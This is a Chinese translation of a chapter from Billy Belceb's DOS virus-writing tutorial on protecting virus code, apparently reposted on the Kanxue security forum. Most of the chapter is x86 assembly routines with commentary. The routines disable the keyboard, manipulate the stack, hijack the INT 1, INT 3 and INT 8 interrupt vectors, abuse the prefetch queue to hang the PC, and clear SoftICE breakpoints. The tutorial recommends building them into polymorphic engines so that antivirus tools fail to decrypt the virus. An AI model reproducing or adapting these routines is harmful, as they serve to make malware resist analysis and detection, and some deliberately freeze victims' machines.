Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼

看雪資料發表於2015-11-15

【保護你的程式碼】
~~~~~~~~~~~~~~
    這個話題在業界是一個很熱門的話題。許多病毒編寫者保護它們的程式碼是為了使病毒查殺工具更困難。當然,我們我們還要討論反除錯的方法。有許多眾所周知的技術...但是,在這裡能看到是一件很好的事情...你說呢?
    關於這個,有很多可能的方法。它們許多都是可配置的。你也可以利用傳統的方法。我認為應該至少要放一個例程到你的多型引擎中(在長-例程表裡,如Wintermute的Zohra病毒)來欺騙病毒查殺工具,防止它們對我們的程式碼解密。出發嘍!
    一個非常有用的東西是釋放鍵盤。當我們釋放鍵盤時,偵錯程式使用者就不能再跟蹤了(在TD裡F7)。如果使用者正常執行一個程式...沒問題。只要一個int 3(斷點)將會做其它事了。它是一個非常簡單的東西卻做得很好!讓我們看看一些程式碼:

 bye_keyb:
  in  al,21h      ; Let's deactivate keyboard
  or  al,02h      ; Try to press any key...
  out  21h,al

 fuck_int3:
  int  3h      ; Breakpoint

 exit_adbg:
  in  al,21h      ; Let's activate keyboard
  and  al,not 2    ; keyb works now
  out  21h,al      ; cool :)

    這是一個很好得方法。只要你會做...當我們的病毒正在執行時不時地釋放鍵盤將會:使得差勁地使用者很驚奇,不允許他按該死的^C,所有你想做的將會成功。真的時非常有用而簡單的事情。
    另一個方法是對堆疊做些手腳。許多反除錯工具就是用的這個古老而簡單的方法。利用這個方法,你可以做你想做的任何事情。下面給出:

 do_shit_stack:
  neg  sp
  neg  sp

    簡單吧,哈哈?你也可以使用NOT而不使用NEG,同樣的結果。

 tons_of_shit:
  not  sp
  not  sp

    NEG有什麼用呢?它把暫存器加1然後對結果進行NEG操作。但是它是一個非常老的花招了...你可以用它,但是最好用其它的方法吧,對於厲害的偵錯程式如S-ICE就不一定有效了。但是如果你使用一個多型引擎你就添上如下的程式碼,那麼病毒查殺工具在解密你的病毒的時候就會受挫了。呵呵...你能使用的另外一個方法是使堆疊溢位:

 overflower:
  mov  ax,sp
  mov  sp,00h
  pop  bx
  mov  sp,ax

    當然啦...還有更多呢。另外一個經典的方法是鉤住INT 1 和/或 INT 3。你有許多方法來做這個。好了,我再介紹幾個方法:

 change_int1_and_int3_using_dos:
  mov  ax,2501h    ; AL = INT to hook
  lea  dx,newint    ; Take care if we need
  int  21h      ; ?offset, by adding it... ok?
  mov  al,03h
  int  21h
  [...]
 newint:
  jmp  $
  iret        ; Why if don't used? hehehe :)

    這個例程能被一個TSR監視程式發現。我建議你使用下面的方法。透過直接操作實現鉤子:

 int1:
  xor  ax,ax      ; Let's try to put an IRET in INT 1
  mov  es,ax      ; We need ES = 0. IVT is in 0000:0000
  mov  word ptr es:[1h*4],0FEEBh ; a jmp $

 int3:
  xor  ax,ax
  mov  es,ax
  mov  word ptr es:[3h*4],0FEEBh ; a jmp $

    如果你不想使計算機掛機,把0FEEBh代替為0CF90h(一個nop和iret指令[當然要把順序顛倒過來啦])。
    你能想到的很酷的主意是是int 3指向int 21,然後你就可以使用這個中斷而不使用int 21了。這樣有兩個好處:欺騙偵錯程式和最佳化你的程式碼...為什麼最佳化你的程式碼呢?因為int 21指令的程式碼是CD 21(佔兩個位元組),而int 3僅僅是CC...
    記住int 3是偵錯程式的一個斷點,所以每次你呼叫int 3,偵錯程式就會停止:)下面給出程式碼:

 getint21:
  mov  ax,3521h    ; Get interrupt vectors
  int  21h
  mov  word ptr [int21_ofs],bx
  mov  word ptr [int21_seg],es

  mov  ax,2503h
  lea  dx,jumptoint21
  int  21h
  [...]

 jumptoint21  db  0EAh
 int21    equ  this dword
 int21_ofs  dw  0000h
 int21_seg  dw  0000h

    我們還可以比較堆疊為了知道我們是否正在被除錯。下面給出例子:

 stack_compares:
  push  ax
  pop  ax
  dec  sp
  dec  sp
  pop  bx
  cmp  ax,bx
  jz  exit_adbg    ; not debugged
  jmp  $      ; hang computers is cool ;)
 exit_adbg:

    記住,如果需要,先使斷點無效(cli),後使斷點有效(sti)。是的,還有更多的方法來保護我們的程式碼。但是,嗨!它們太老了,它們有效!看看下面的一個方法...我很喜歡這個方法。看看下面的程式碼:

 prefetch:
  mov  word ptr cs:fake,0FEEBh ; Why do you think this made
 fake:  jmp  nekst      ; if debugged? Yes, hang PC!
 nekst:         ; Continue with your code here

    你還可以利用prefetch做更多的事情。你還可以跳到一個程式或者設定一個hlt指令(也能掛機)...無論你想要什麼,如下:

 prefetch_fun:
  mov  word ptr cs:fake2,04CB4h
 fake2: jmp  bye_fake
  int  21h
 bye_fake:

    這段程式碼將會終止程式的執行,現在一段特殊的為SoftIce準備的例程(最好的偵錯程式也被騙過了)。

    更多的程式碼:

 soft_ice_fun:
  mov  ax,0911h    ; Soft-ice function for exec. command
  mov  di,4647h    ; DI = "FG"
  mov  si,4A4Eh    ; SI = "JM"
  lea  dx,soft_ice_fuck  ; Yeah
  int  03h      ; Int for breakpoints

 soft_ice_fuck  db  "bc *",10,0

    另外一個花招是鉤住int 8,並在那裡放置一個比較我們駐留記憶體程式碼裡的一個變數,因為許多偵錯程式會釋放所有的中斷除了int 8之外。int 8 指令在一秒之內能執行18.2次。我建議你在鉤住它之前儲存就的控制程式碼。你想看程式碼嗎?下面給出:

 save_old_int8_handler:     ; You remember 40-hex magazine?
  mov  ax,3508h    ; This routine is from issue #7
  int  21h
  mov  word ptr [int8_ofs],bx
  mov  word ptr [int8_seg],es
  push  bx es
  mov  ah,25h      ; Put int 8 handler
  lea  dx,virii
  int  21h
 fuckin_loop:
  cmp  fuckvar,1    ; This will cause a little delay
  jnz  fuckin_loop
  pop  ds ds

  int  21h
  mov  ax,4C00h
  int  21h

 fuckvar  db  0
 int8    equ  this dword
 int8_ofs  dw  0000h
 int8_seg  dw  0000h
 program:
    ; bla bla bla
  mov  fuckvar,1
    ; more and more bla
  jmp  dword ptr [int8]

    記住Demogorgon的忠告:“沒有保護的程式碼就是公開的”。
    嗨!如果你需要得到偏移地址要小心點(如執行期<g>病毒),並加上它...ok?

相關文章